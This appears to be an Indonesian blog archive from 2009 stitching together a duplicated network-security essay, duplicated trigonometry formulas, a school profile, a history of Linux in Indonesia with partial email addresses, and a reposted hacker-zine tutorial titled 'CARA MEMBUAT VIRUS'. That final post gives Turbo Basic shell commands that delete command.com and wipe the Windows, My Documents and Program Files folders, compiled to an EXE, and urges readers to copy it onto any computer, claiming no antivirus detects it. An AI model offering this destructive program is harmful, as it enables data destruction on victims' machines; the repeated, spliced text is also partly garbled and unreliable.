Selasa, 26 Mei 2009

CARA MEMBUAT JARINGAN KOMPUTER YANG AMAN

sar untuk membuat jaringan komputer yang aman

Pada tanggal 3 September 2007, saya mewakili KPLI - Jogja diundang oleh BID Pemkot Jogja untuk berkontribusi memberikan pemikiran dalam workshop "Manajemen Jaringan di Pemerintah Kota Jogjakarta ". Dalam workshop tersebut saya mendapatkan banyak ilmu mengenai keamanan jaringan komputer disamping saya juga memberikan ilmu dan pemikiran tentang networking secara umum dan khusus yang saya punyai. Dikarenakan banyak hal yang saya dapatkan tentang keamanan jaringan komputer sehingga saya pisah-pisah menjadi artikel-artikel khusus. Pada artikel ini saya akan membahas tentang pengetahuan umum mengenai keamanan jaringan komputer. Hal ini tentu berguna bila kita hendak mendesain suatu jaringan komputer yang aman dan kuat.

Jaringan komputer merupakan kumpulan dari beberapa komputer

sar untuk membuat jaringan komputer yang aman

Pada tanggal 3 September 2007, saya mewakili KPLI - Jogja diundang oleh BID Pemkot Jogja untuk berkontribusi memberikan pemikiran dalam workshop "Manajemen Jaringan di Pemerintah Kota Jogjakarta ". Dalam workshop tersebut saya mendapatkan banyak ilmu mengenai keamanan jaringan komputer disamping saya juga memberikan ilmu dan pemikiran tentang networking secara umum dan khusus yang saya punyai. Dikarenakan banyak hal yang saya dapatkan tentang keamanan jaringan komputer sehingga saya pisah-pisah menjadi artikel-artikel khusus. Pada artikel ini saya akan membahas tentang pengetahuan umum mengenai keamanan jaringan komputer. Hal ini tentu berguna bila kita hendak mendesain suatu jaringan komputer yang aman dan kuat.

Jaringan komputer merupakan kumpulan dari beberapa komputer yang memliki koneksi satu dengan yang lain. Ketika semua komputer saling terhubung dalam suatu jaringan, keamanan merupakan hal yang harus diperhatikan. Fungsi keamanan adalah membuat jaringan komputer menjadi stabil, terstruktur, kuat serta mampu mengatasi berbagai gangguan. Logikanya, bila dalam suatu jaringan komputer ternyata memiliki sisi keamanan yang lemah tentu hal ini berdampak merusak kestabilan jaringan komputer tersebut. Banyaknya gangguan yang masuk akibat lemahnya keamanan yang dibuat bisa merusak kinerja transfer data pada jaringan komputer. Oleh karena itu, gangguan menjadi parameter untuk mengukur tingkat keamanan. Logikanya, sistem tersebut memiliki tingkat keamanan berdasarkan sering tidaknya mengalami gangguan, bukan?

Setelah memahami pentingnya keamanan dalam suatu jaringan maka kita dapat mengkaji lebih detail tentang keamanan jaringan komputer itu sendiri. Prinsip keamanan pada jaringan adalah hal yang sangat kompleks. Saya mendapatkan pelajaran dari Bpk. Joshua Sinambela selaku pemateri, bahwa keamanan jaringan komputer terdiri dari banyak bagian atau komponen. Sedangkan Tiap komponen itu masih kompleks. Hal ini setidaknya menggambarkan bahwa keamanan jaringan komputer ibarat puzzle yang besar dan rumit. Disamping banyak sekali standar keamanan dalam jaringan komputer, ternyata jumlah dan jenis serangan terhadap keamanan ikut bertambah tiap harinya. Hal ini membuat standar yang sudah dipakai harus dipertimbangkan kembali dan diubah lagi untuk mengimbangi jumlah dan jenis serangan yang selalu bertambah dan bervariasi.

Klasifikasi keamanan menurut David Icove, bahwa 4 tingkat yang harus diperhatikan :
1. Fisik / Physical Security
2. Manusia / Personel Security
3. Data, media , teknik dan komunikasi
4. Kebijakan dan prosedur



Implementasi 4 tingkat keamanan tersebut terhadap keamanan jaringan adalah sebagai berikut :

1. Fisik
Yang dimaksudkan disini cenderung ke arah bentuk fisik dari komponen penyusun jaringan tersebut. Keamanan fisik lebih dipandang pada sisi hardware dari jaringan komputer seperti AP ( Access Point ), Kabel LAN ( Local Area Network ), Chasing CPU, UPS, dst. Tentunya kita harus memahami gangguan secara fisik terlebih dahulu. Pada suatu kasus, jaringan A memilikiskema jaringan.jpg gangguan fisik seperti Tegangan listrik yang naik-turun merusak CPU, Rawan tikus yang menggigit kabel LAN, Ruangan yang tidak lengkapi AC sehinggah menciptakan suhu yang panas. Keamanan Fisik yang harus dilakukan melihat kasus tersebut adalah dengan memasang UPS pada tiap-tiap komputer, Kabel LAN disusun rapi didalam rak kabel anti-tikus dan ruangan dipasangi AC (Air Conditioner). Perlu diingat, alat elektronik bisa bertahan lama bila kita mampu merawatnya dengan baik.

2. Manusia / Personel Security
Keamanan terhadap personel yang menggunakan jaringan komputer perlu diperhatikan. Melihat kasus Kevin Mitnick ( Hacker Legendaris ), dimana dia mampu menjebol sistem keamanan perusahaan dengan cara berpura-pura menjadi pegawai service komputer. Hal yang mungkin terjadi adalah sistem keamanan jaringan komputer rusak gara-gara orang asing yang masuk ataupun personel yang bekerja dalam jaringan itu sendiri. Bila terkait dengan orang asing, keamanan bisa dibentuk dengan membuat sistem ID-CARD, penempatan petugas keamanan ataupun penerapan level personel. Bagaimana bila orang dalam? Sangat sulit membentuk standar keamanan personel karena ini berkaitan dengan etika dan moral dari personel itu sendiri. Kita hanya bisa berharap bahwa HRD mampu menyeleksi pegawai yang jujur dan bisa dipercaya dalam bekerja.

3. Data, Media, Teknik dan Komunikasi
Keamanan pada bidang ini cenderung mendapatkan perhatian yang lebih daripada yang lain. Keamanan pada sisi ini menitikberatkan pada aspek software. Data pada jaringan tentu harus diamankan dari berbagai pihak yang tidak memiliki izin khusus. Dalam jaringan komputer dapat ditentukan medianya untuk berkomunikasi menggunakan media dan teknik tertentu. Contoh kasusnya, dalam jaringan A, komunikasi transfer file dilakukan dengan sistem sharing. Ada pemberian ijin kepada komputer tertentu yang bisa mengakses data-data penting. Dalam jaringan tersebut, menggunakan media sharing file system ( seperti NFS (Network File System) dalam pertukaran data. Secara teknik, tiap- tiap komputer harus mengetahui alamat komputer lain bila hendak melakukan sharing. Nah, dalam gambaran umum tersebut, keamanan ditingkatkan dengan cara menggunakan password dalam pengaturan hak pengaksesan data. Selain itu, komputer lain tidak boleh menggunakan media lain selain sistem file sharing dalam berkomunikasi. Pada keamanan ini terdapat berbagai jenis standar keamanan. Tapi perlu diingat bahwa sistem keamanan yang bagus tidak hanya pada software tetapi juga aspek yang lain.

4. Kebijakan dan prosedur
Kebijakan ( policy ) serta prosedur dalam jaringan komputer harus ditentukan secara tegas guna membangun sistem keamanan yang kuat. Penggolongan beberapa pengguna jaringan komputer terhadap kepentingannya haruslah diperhatikan. Aplikasinya, bila pada suatu jaringan komputer perusahaan, terdapat 3 bidang kerja yaitu keuangan, customer service dan produksi. Pengaturan kebijakan dan prosedur diterapkan berdasarkan kepentingan bidang kerja masing-masing. Contohnya,perusahaan tersebut mendapatkan koneksi internet. Kita perlu melihat bahwa kepentingan divisi keuangan yang tidak membutuhkan internet dalam operasionalnya. Sedangkan divisi customer service dan produksi membutuhkan akses internet dalam operasionalnya. Maka pengaturan kebijakan disini adalah koneksi internet cuma diberikan pada jaringan komputer divisi customer service dan produksi sedangkan divisi keuangan tidak diberikan akses internet. Namun secara total, jaringan komputer divisi keuangan, divisi customer service serta divisi produksi saling terhubung satu dengan yang lain.

Tentunya setelah kita memahami pengertian umum tentang keamanan jaringan maka kita dapat dengan mudah mendesain jaringan komputer yang aman dan kuat. Dengan penguasaan dasar yang kuat maka dapat membantu kita untuk memahami keamanan jaringan yang lebih detail. Selamat mencoba!yang memliki koneksi satu dengan yang lain. Ketika semua komputer saling terhubung dalam suatu jaringan, keamanan merupakan hal yang harus diperhatikan. Fungsi keamanan adalah membuat jaringan komputer menjadi stabil, terstruktur, kuat serta mampu mengatasi berbagai gangguan. Logikanya, bila dalam suatu jaringan komputer ternyata memiliki sisi keamanan yang lemah tentu hal ini berdampak merusak kestabilan jaringan komputer tersebut. Banyaknya gangguan yang masuk akibat lemahnya keamanan yang dibuat bisa merusak kinerja transfer data pada jaringan komputer. Oleh karena itu, gangguan menjadi parameter untuk mengukur tingkat keamanan. Logikanya, sistem tersebut memiliki tingkat keamanan berdasarkan sering tidaknya mengalami gangguan, bukan?

Setelah memahami pentingnya keamanan dalam suatu jaringan maka kita dapat mengkaji lebih detail tentang keamanan jaringan komputer itu sendiri. Prinsip keamanan pada jaringan adalah hal yang sangat kompleks. Saya mendapatkan pelajaran dari Bpk. Joshua Sinambela selaku pemateri, bahwa keamanan jaringan komputer terdiri dari banyak bagian atau komponen. Sedangkan Tiap komponen itu masih kompleks. Hal ini setidaknya menggambarkan bahwa keamanan jaringan komputer ibarat puzzle yang besar dan rumit. Disamping banyak sekali standar keamanan dalam jaringan komputer, ternyata jumlah dan jenis serangan terhadap keamanan ikut bertambah tiap harinya. Hal ini membuat standar yang sudah dipakai harus dipertimbangkan kembali dan diubah lagi untuk mengimbangi jumlah dan jenis serangan yang selalu bertambah dan bervariasi.

Klasifikasi keamanan menurut David Icove, bahwa 4 tingkat yang harus diperhatikan :
1. Fisik / Physical Security
2. Manusia / Personel Security
3. Data, media , teknik dan komunikasi
4. Kebijakan dan prosedur



Implementasi 4 tingkat keamanan tersebut terhadap keamanan jaringan adalah sebagai berikut :

1. Fisik
Yang dimaksudkan disini cenderung ke arah bentuk fisik dari komponen penyusun jaringan tersebut. Keamanan fisik lebih dipandang pada sisi hardware dari jaringan komputer seperti AP ( Access Point ), Kabel LAN ( Local Area Network ), Chasing CPU, UPS, dst. Tentunya kita harus memahami gangguan secara fisik terlebih dahulu. Pada suatu kasus, jaringan A memilikiskema jaringan.jpg gangguan fisik seperti Tegangan listrik yang naik-turun merusak CPU, Rawan tikus yang menggigit kabel LAN, Ruangan yang tidak lengkapi AC sehinggah menciptakan suhu yang panas. Keamanan Fisik yang harus dilakukan melihat kasus tersebut adalah dengan memasang UPS pada tiap-tiap komputer, Kabel LAN disusun rapi didalam rak kabel anti-tikus dan ruangan dipasangi AC (Air Conditioner). Perlu diingat, alat elektronik bisa bertahan lama bila kita mampu merawatnya dengan baik.

2. Manusia / Personel Security
Keamanan terhadap personel yang menggunakan jaringan komputer perlu diperhatikan. Melihat kasus Kevin Mitnick ( Hacker Legendaris ), dimana dia mampu menjebol sistem keamanan perusahaan dengan cara berpura-pura menjadi pegawai service komputer. Hal yang mungkin terjadi adalah sistem keamanan jaringan komputer rusak gara-gara orang asing yang masuk ataupun personel yang bekerja dalam jaringan itu sendiri. Bila terkait dengan orang asing, keamanan bisa dibentuk dengan membuat sistem ID-CARD, penempatan petugas keamanan ataupun penerapan level personel. Bagaimana bila orang dalam? Sangat sulit membentuk standar keamanan personel karena ini berkaitan dengan etika dan moral dari personel itu sendiri. Kita hanya bisa berharap bahwa HRD mampu menyeleksi pegawai yang jujur dan bisa dipercaya dalam bekerja.

3. Data, Media, Teknik dan Komunikasi
Keamanan pada bidang ini cenderung mendapatkan perhatian yang lebih daripada yang lain. Keamanan pada sisi ini menitikberatkan pada aspek software. Data pada jaringan tentu harus diamankan dari berbagai pihak yang tidak memiliki izin khusus. Dalam jaringan komputer dapat ditentukan medianya untuk berkomunikasi menggunakan media dan teknik tertentu. Contoh kasusnya, dalam jaringan A, komunikasi transfer file dilakukan dengan sistem sharing. Ada pemberian ijin kepada komputer tertentu yang bisa mengakses data-data penting. Dalam jaringan tersebut, menggunakan media sharing file system ( seperti NFS (Network File System) dalam pertukaran data. Secara teknik, tiap- tiap komputer harus mengetahui alamat komputer lain bila hendak melakukan sharing. Nah, dalam gambaran umum tersebut, keamanan ditingkatkan dengan cara menggunakan password dalam pengaturan hak pengaksesan data. Selain itu, komputer lain tidak boleh menggunakan media lain selain sistem file sharing dalam berkomunikasi. Pada keamanan ini terdapat berbagai jenis standar keamanan. Tapi perlu diingat bahwa sistem keamanan yang bagus tidak hanya pada software tetapi juga aspek yang lain.

4. Kebijakan dan prosedur
Kebijakan ( policy ) serta prosedur dalam jaringan komputer harus ditentukan secara tegas guna membangun sistem keamanan yang kuat. Penggolongan beberapa pengguna jaringan komputer terhadap kepentingannya haruslah diperhatikan. Aplikasinya, bila pada suatu jaringan komputer perusahaan, terdapat 3 bidang kerja yaitu keuangan, customer service dan produksi. Pengaturan kebijakan dan prosedur diterapkan berdasarkan kepentingan bidang kerja masing-masing. Contohnya,perusahaan tersebut mendapatkan koneksi internet. Kita perlu melihat bahwa kepentingan divisi keuangan yang tidak membutuhkan internet dalam operasionalnya. Sedangkan divisi customer service dan produksi membutuhkan akses internet dalam operasionalnya. Maka pengaturan kebijakan disini adalah koneksi internet cuma diberikan pada jaringan komputer divisi customer service dan produksi sedangkan divisi keuangan tidak diberikan akses internet. Namun secara total, jaringan komputer divisi keuangan, divisi customer service serta divisi produksi saling terhubung satu dengan yang lain.

Tentunya setelah kita memahami pengertian umum tentang keamanan jaringan maka kita dapat dengan mudah mendesain jaringan komputer yang aman dan kuat. Dengan penguasaan dasar yang kuat maka dapat membantu kita untuk memahami keamanan jaringan yang lebih detail. Selamat mencoba!

RUMUS TRIGONOMETRI

Hubungan fungsi trigonometri

\sin^2 A + \cos^2 A = 1 \,

Hubungan fungsi trigonometri

\sin^2 A + \cos^2 A = 1 \,
1 + \tan^2 A = \frac{1}{\cos^2 A} = \sec^2 A\,
1 + \cot^2 A = \csc^2 A \,
\tan A = \frac{\sin A}{\cos A}\,

[sunting] Penjumlahan

\sin (A + B) = \sin A \cos B + \cos A \sin B \,
\sin (A - B) = \sin A \cos B - \cos A \sin B \,
\cos (A + B) = \cos A \cos B - \sin A \sin B \,
\cos (A - B) = \cos A \cos B + \sin A \sin B \,
\tan (A + B) = \frac{\tan A + \tan B}{1 - \tan A \tan B} \,
\tan (A - B) = \frac{\tan A - \tan B}{1 + \tan A \tan B} \,

[sunting] Rumus sudut rangkap dua

\sin 2A = 2 \sin A \cos A \,
\cos 2A = \cos^2 A - \sin^2 A = 2 \cos^2 A -1 = 1-2 \sin^2 A \,
\tan 2A = {2 \tan A \over 1 - \tan^2 A} = {2 \cot A \over \cot^2 A - 1} = {2 \over \cot A - \tan A} \,

[sunting] Rumus sudut rangkap tiga

\sin 3A = 3 \sin A - 4 \sin^3 A \,
\cos 3A = 4 \cos^3 A - 3 \cos A \,

[sunting] Rumus setengah sudut

\sin \frac{A}{2} = \pm \sqrt{\frac{1-\cos A}{2}} \,
\cos \frac{A}{2} = \pm \sqrt{\frac{1+\cos A}{2}} \,
\tan \frac{A}{2} = \pm \sqrt{\frac{1-\cos A}{1+\cos A}} = \frac {\sin A}{1+\cos A} = \frac {1-\cos A}{\sin A} \,
1 + \tan^2 A = \frac{1}{\cos^2 A} = \sec^2 A\,
1 + \cot^2 A = \csc^2 A \,
\tan A = \frac{\sin A}{\cos A}\,

[sunting] Penjumlahan

\sin (A + B) = \sin A \cos B + \cos A \sin B \,
\sin (A - B) = \sin A \cos B - \cos A \sin B \,
\cos (A + B) = \cos A \cos B - \sin A \sin B \,
\cos (A - B) = \cos A \cos B + \sin A \sin B \,
\tan (A + B) = \frac{\tan A + \tan B}{1 - \tan A \tan B} \,
\tan (A - B) = \frac{\tan A - \tan B}{1 + \tan A \tan B} \,

[sunting] Rumus sudut rangkap dua

\sin 2A = 2 \sin A \cos A \,
\cos 2A = \cos^2 A - \sin^2 A = 2 \cos^2 A -1 = 1-2 \sin^2 A \,
\tan 2A = {2 \tan A \over 1 - \tan^2 A} = {2 \cot A \over \cot^2 A - 1} = {2 \over \cot A - \tan A} \,

[sunting] Rumus sudut rangkap tiga

\sin 3A = 3 \sin A - 4 \sin^3 A \,
\cos 3A = 4 \cos^3 A - 3 \cos A \,

[sunting] Rumus setengah sudut

\sin \frac{A}{2} = \pm \sqrt{\frac{1-\cos A}{2}} \,
\cos \frac{A}{2} = \pm \sqrt{\frac{1+\cos A}{2}} \,
\tan \frac{A}{2} = \pm \sqrt{\frac{1-\cos A}{1+\cos A}} = \frac {\sin A}{1+\cos A} = \frac {1-\cos A}{\sin A} \,

Kamis, 07 Mei 2009

TEntag




SMK Negeri 1 Takengon
Jl. Lebe Kader Lr. Sejahtera No. 13 Takengon
PROFIL
PROGRAM KEAHLIAN
FASILITAS
PRESTASI
GURU/KARYAWAN
ALBUM SMK
DOWNLOADS
PROFIL
SMK Negeri 1 Takengon berdiri sejak tahun 1962, bermula keberadaannya dari SMA Swasta Laut Tawar dan di Negerikan pada tanggal 25 Nopember 1963 dengan Nomor Statistik Sekolah 341060502001, atas kebijasanaan Pemerintah pada tahun 1994 melalui Menteri Pendidikan dan Kebudayaan berubah nama menjadi SMK Negeri 1 Takengon bidang Bisnis dan Manajemen.
Sekolah ini adalah sekolah kejuruan yang pertama di Aceh Tengah , dengan luas lahan 2996 m2 yang juga dikelilingi pagar permanen sepanjang 760 m . Bangunan fisik pada awalnya merupakan bangunan setengah permanen yang memanjang di sebelah barat berbentuk bendeng, sebagian besar papan, kayu dan atap seng berasal dari bekas bangunan pabrik the peninggalan Belanda dari Pondok Baru Janarata. Pada Tahun 1984-1990 Pemerintah telah menambah bangunan disebelah utara dan timur berupa bangunan permanen sebanyak 9 lokal. Dan perubahan fisik yang luar biasa dilakukan pada tahun 1996-1998. Pemerintah melalui Dikmenjur merobah total seluruh bangunan yang ada sehingga saat ini seluruh gedung adalah permanen dan sebahagian besar bertingkat.

Senin, 04 Mei 2009

SEJARAH LINUX DI INDINESIA

leh : Rahmat M. Samik-Ibrahim

Pendahuluan

Versi pendek dari tulisan ini, terbit di Koran Tempo, 12 September 2003. Ini merupakan memo perintisan Linux di Indonesia berdasarkan ingatan/ memori/ pengalaman penulis saat bekerja di Pusat Ilmu Komputer Universitas Indonesia (PUSILKOM UI). Tentu saja kurang akurat, namun diharapkan dapat memberikan gambaran keadaan Linux pada khususnya, Unix secara umum, dari era 1980-an hingga awal krisis moneter (krismon) tahun 1997.

Era Pra 1990an

Era 1980-an merupakan akhir dari zaman keemasan komputer mini — komputer yang tidak secanggih “main-frame”, namun setiap sistem terdiri dari bongkahan besar. Nama-nama besar pada zaman tersebut, seperti “DEC - Digital Equipment Corp.”, “DG — Data General”, “HP — Hewlett Packard”, “Honeywell — Bull”, “Prime”, dan beberapa nama lainnya. Setiap komputer mini ini, dijalankan dengan sistem operasi tersendiri. Setiap sistem operasi ini tidak cocok (kompatibel) dengan sistem operasi dari sistem lainnya. Sebuah program yang dikembangkan pada sistem tertentu, belum tentu dengan mudah dapat dijalankan pada sistem lainnya. Masalah ini mulai teratasi dengan sebuah sistem operasi yang lagi naik daun, yaitu UNIXTM. Sistem UNIX ini dapat dijalankan pada berbagai jenis komputer. Selain beroperasi pada komputer mini, UNIX pun dapat dioperasikan pada sebuah generasi komputer “super mikro”, yang berbasis prosesor 32 bit seperti Motorola MC68000. Ya: pada waktu itu, Motorola belum terkenal sebagai produser Hand Phone! Sistem berbasis UNIX pertama di Universitas Indonesia (1983) ialah komputer “Dual 83/20 dengan sistem operasi UNIX versi 7, memori 1 Mbyte, serta disk (8) dengan kapasitas 20 Mbytes. Sistem tersebut tentunya sangat “terbatas” dibandingkan komputer zaman sekarang. Namun, penelitian dengan memanfaatkan komputer tersebut, menghasilkan puluhan sarjana S1 UI. Tema penelitian S1 pada saat tersebut berkisar dalam bidang jaringan komputer, seperti pengembangan email (PESAN), alih berkas (MIKAS), porting UUCP, X.25, LAN ethernet, network printer server, dan lainnya. Komputer Dual 83/20 ini, kemudian lebih dikenal dengan nama “INDOGTW” (Indonesian Gateway), karena pada akhir tahun 1980-an digunakan “dedicated email” server ke luar negeri. Sistem INDOGTW ini beroperasi non-stop 24 jam sehari, 7 hari seminggu. Fungsi riset sistem tersebut di atas, digantikan oleh komputer baru “INDOVAX”, yaitu DEC VAX-11/750 dengan sistem unix 4.X BSD dengan memori 2 Mbytes, serta disk 300 Mbytes. Pada waktu itu, sanga lazim menamakan satu-satunya VAX pada setiap institusi, dengan akhiran “VAX”. Contohnya: UCBVAX (Universitas Berkley), UNRVAX (Universitas Nevada Reno), DECVAX (DEC), ROSEVAX (Rosemount Inc), MCVAX (Amsterdam). Sistem ini pun kembali menghasilkan puluhan sarjana S1 UI untuk berbagai penelitian seperti rancangan VLSI, X.400, dan sejenisnya. Untuk mewadahi para pengguna dan penggemar UNIX yang mulai berkembang ini, dibentuk sebuah Kelompok Pengguna Unix (Unix Users Group) yaitu INDONIX. Kelompok yang dimotori oleh bapak “Didik” Partono Rudiarto (kini pimpinan INIXINDO) ini melakukan pertemuan secara teratur setiap bulan. Setiap pertemuan ini akan diisi dengan ceramah kiat dan trik UNIX, serta sebuah diskusi/ tanya-jawab. Komputer mini — yang UNIX mau pun yang bukan — dominan hingga pertengahan tahun 1980-an. Komputer Personal (PC) masih sangat terbatas, baik kemampuannya, mau pun populasinya. Bahkan hingga akhir 1980-an, PC masih dapat dikatakan merupakan benda “langka” dan “mewah”. Semenjak pertengahan 1980-an, muncul sistem komputer “super-mikro” berbasis prosesor Motorola MC68000 dan sistem operasi Unix. Sejalan dengan ini, juga muncul PC/AT berbasis prosesor Intel 80286 dan 80386 dengan sistem operasi XENIX/SCO UNIX. Kehadiran prosesor Intel 80286 (lalu 80386) telah mendorong pengembangan sistem operasi dengan nama “XENIX”. Harga sistem yang relatif murah, berakibat kenaikan populasi sistem Unix yang cukup signifikan di Indonesia. Aplikasi yang populer untuk sistem ini ialah sistem basis data Usaha Kecil dan Menengah (UKM). Pada awalnya, setiap sistem operasi Unix dilengkapi dengan kode sumber (source code). Namun, hal tersebut tidak berlaku untuk negara non-US (terutama non Eropa) akibat regulasi ekspor US. Sebagai alternatif Prof. Andrew S. Tanenbaum dari VU (Belanda) mengedarkan sebuah sistem Operasi sederhana dengan nama “MINIX” (Mini Unix). Titik berat arah pengembangan MINIX ialah sesederhana mungkin agar dapat dipelajari dengan mudah dalam satu semester. Program Studi Ilmu Komputer Universitas Indonesia, tercatat pernah membeli source code MINIX dua kali, yaitu versi 1.2 (1987) dan versi 1.5 (1999). Sebagai penunjang mata kuliah Sistem Operasi, telah hadir MINIX (Mini Unix) yang bahkan dapat dijalankan pada PC biasa tanpa HardDisk! Namun, MINIX memiliki dua keterbatasan bawaan. Pertama, dititik-beratkan agar mudah dipelajari untuk keperluan pendidikan. Akibatnya, dengan sengaja tidak dibuat canggih dan rumit. Kedua, (pada awalnya) MINIX harus dibeli dengan harga lebih dari USD 100 per paket. Harga ini tidak dapat dikatakan murah bahkan untuk ukuran kantong mahasiswa di luar negeri. Namun, MINIX telah digunakan di Program Studi Ilmu Komputer Universitas Indonesia FUSILKOM UI, FakUltas ILmu KOMputer UI) sebagai bagian dari kuliah sistem operasi menjelang akhir tahun 1990an. Besar kemungkinan, siapa pun pengguna MINIX saat itu (termasuk penulis), pernah memiliki angan-angan untuk merancang sebuah kernel “idaman” pengganti MINIX yang dapat — “dioprek”, “dipercanggih”, dan “didistribusikan” — secara bebas. Tidak heran, Linus B. Torvalds mendapat sambutan hangat ketika tahun 1991 mengumumkan kehadiran sebuah kernel “idaman” melalui buletin USENET News “comp.os.minix”. Kernel ini kemudian lebih dikenal dengan nama Linux. Namun, Linux tidak langsung mendapatkan perhatian di UI.

Era 1990an

Belum jelas, siapa yang pertama kali membawa Linux ke Indonesia. Namun, yang pertama kali mengumumkan secara publik (melalui milis pau-mikro) ialah Paulus Suryono Adisoemarta dari Texas, USA, yang secara akrab dipanggil Bung Yono. Ketika 1992, bung Yono berkunjung ke Indonesia membawa distro SoftLanding System (SLS) dalam beberapa keping disket. Kernel Linux pada distro tersebut masih revisi 0.9X (alpha testing), dengan kemampuan dukungan jaringan yang sangat terbatas. Pada awal tahun 1990-an, kisaran harga sebuah ethernet board ialah USD 500; padahal dengan kinerja yang jauh dibawah board yang sekarang biasa berharga USD 5.-. Dengan harga semahal itu, dapat dimaklumi, jika masih jarang ada pengembang LINUX yang berkesempatan untuk mengembangkan driver ethernet. Perioda 1992-1994 merupakan masa yang vakum. Secara sporadis, terdengar ada yang mendiskusikan “Linux”, namun terbatas pada uji coba. Kernel Linux 1.0 keluar pada tahun 1994. Salah satu distro yang masuk ke Indonesia pada tahun tersebut ialah Slackware (kernel 1.0.8). Distro tersebut cukup lengkap dan stabil sehingga merangsang tumbuhnya sebuah komunitas GNU/ Linux di lingkungan Universitas Indonesia. Pada umumnya, PC menggunakan prosesor 386 dan 486, dengan memori antara 4-8 Mbytes, dan hardisk 40 - 100 Mbyte. Biasanya hardisk tersebut dibuat “dual boot”, yaitu dapat dalam mode DOS atau pun Linux. Slackware menjadi populer dikalangan para mahasiswa UI, karena pada waktu itu merupakan satu-satunya distribusi yang ada :-) . Banyak hal-hal baru yang “dioprek”/ “setup”. Umpama: yang pertama kali men-setup X11R4 Linux di UI ialah Ivan S. Chandra (1994). Tahun 1994 merupakan tahun penuh berkah. Tiga penyelenggara Internet sekali gus mulai beroperasi: IPTEKnet, INDOnet, dan RADnet. Pada tahun berikutnya (1995), telah tercatat beberapa institusi/ organisasi mulai mengoperasikan GNU/Linux sebagai “production system”, seperti BPPT (mimo.bppt.go.id), IndoInternet (kakitiga.indo.net.id), Sustainable Development Network (www.sdn.or.id dan sangam.sdn.or.id), dan Universitas Indonesia (haur.cs.ui.ac.id). Umpamanya, Sustainable Development Network Indonesia (sekarang diubah menjadi Sustainable Debian Network) menggunakan distribusi Slackware (kernel 1.0.9) pada mesin 486 33Mhz, 16 Mbyte RAM, 1 Gbyte disk. Namun sekarang, situs tersebut numpang webhost di IndoInternet. Kehadiran internet di Indonesia merangsang tumbuhnya sebuah industri baru, yang dimotori oleh para enterpreneur muda. Mengingat GNU/ Linux merupakan salah satu pendukung dari Industri baru tersebut, tidak dapat disangkal bahwa ini merupakan faktor yang cukup menentukan perkembangan GNU/Linux di Indonesia. Selama perioda 1995-1997, GNU/Linux secara perlahan mulai menyebar ke seluruh pelosok Indonesia. Bahkan krismon 1997 pun tidak dapat menghentikan penyebaran ini. Pada tahun 1996, pernah ada sebuah milis linux yang dapat dikatakan kurang begitu sukses. Anggota dari milis tersebut ialah: Sl1zr@cc.usu- and1@indo.net- arwiya@indo.net- bjs@apoll.geologie- budi@cool.mb- chairilk@indo.net- harry@futaba.nagaokaut- herkusut@soziologie- ibrahim@indovax- idarmadi@indo.net- jimmyt@turtle- jonathan@bandung.wasantara- louis@Glue- mermaid+@CMU- mwiryana@netbox- rheza@indo.net- rosadi@indo.net- sentiono@cycor- trabas@indo.net- wibowo@hpsglsn- wiwit@bandung.wasantara- edybs@jakarta.wasantara- ssurya@elang- dhie@bandung.wasantara- tanu@m-net.arbornet- avinanta@gdarma- pink@cbn.net- louis@webindonesia- Sebelum 1997, issuenya mungkin “Apa itu Linux?” Alhamdulillah, dewasa ini, yang terjadi malah sebaliknya: “Anda belum kenal Linux?????” Demikian sekilas perkembangan sistem UNIX sebelum 1997. Mudah-mudahan, ini akan memicu para pelaku IT lainnya untuk melengkapi hikayat ini, terutama pasca 1997. PS: Sekarang mah… saya menggunakan distro bikinan sendiri: DeDe atau De2! Juga, turut mendukung DeAl atau Debian Alternatif.

Selasa, 14 April 2009

CARA MEMBUAT VIRUS

- ____________________ ___ ___ ________
--\_ _____/\_ ___ \ / \\_____ \--
- __)_ / \ \// ~ \/ \--
- \\ \___\ Y / \--
-/_______ / \______ /\____ /\_______ /-
- -\/ -\/ -\/ -\/-


.OR.ID
ECHO-ZINE RELEASE 09

Author: Yogya Family Code http://www.yogyafree.tk
Online @ www.echo.or.id :: http://ezine.echo.or.id



== Cara membuat program perusak (Seperti Virus) ==

Penulis peduli dengan para newbie yang sedang belajar pemograman sekaligus penulis juga
peduli dengan para progammer yang belum mengenal bahasa BASIC (Maklum kebanyakan progammer
pada langsung lompat ke Pascal, C dan lainnya).

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer,
tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali,
anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara
membuat program perusak ( seperti virus) yang sangat sederhana sekali tapi sangat mematikan
bahkan bisa dikatakan lebih mengerikan dari program perusak manapun.

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk
berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda
cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda
dapat mendownloadnya di Google atau cari dirental CD.

Jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code
program perusak.

shell "Perintah DOS"

dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda
membuat :

shell "c:"
shell "cd\"
shell "del command.com"

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna
komputer tidak dapat booting, kita contohkan yang lain.

shell "c:"
shell "cd\"
shell "deltree /y mydocu~1"
shell "deltree /y windows"
shell "deltree /y progra~1"

Diatas adalah contoh menghapus Directory My Document, Windows dan Program Files, sangat
fatal bukan ?

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save
lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi,
caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile
lalu anda enter, maka source code tersebut akan menjadi file EXE.

Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada
program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda
dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa BELUM ADA SATU ANTIVIRUS
DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program
ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan
ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai
jenis Antivirus.

Penulis :
Kurniawan
Yogya Family Code
http://www.yogyafree.tk

Salam :
paktani.tk : "Paktani ini saya, hehe"
/conan/ alias markov : "versi 2005 dah keluar lho",
kartubeben : "Inget akukan :P"

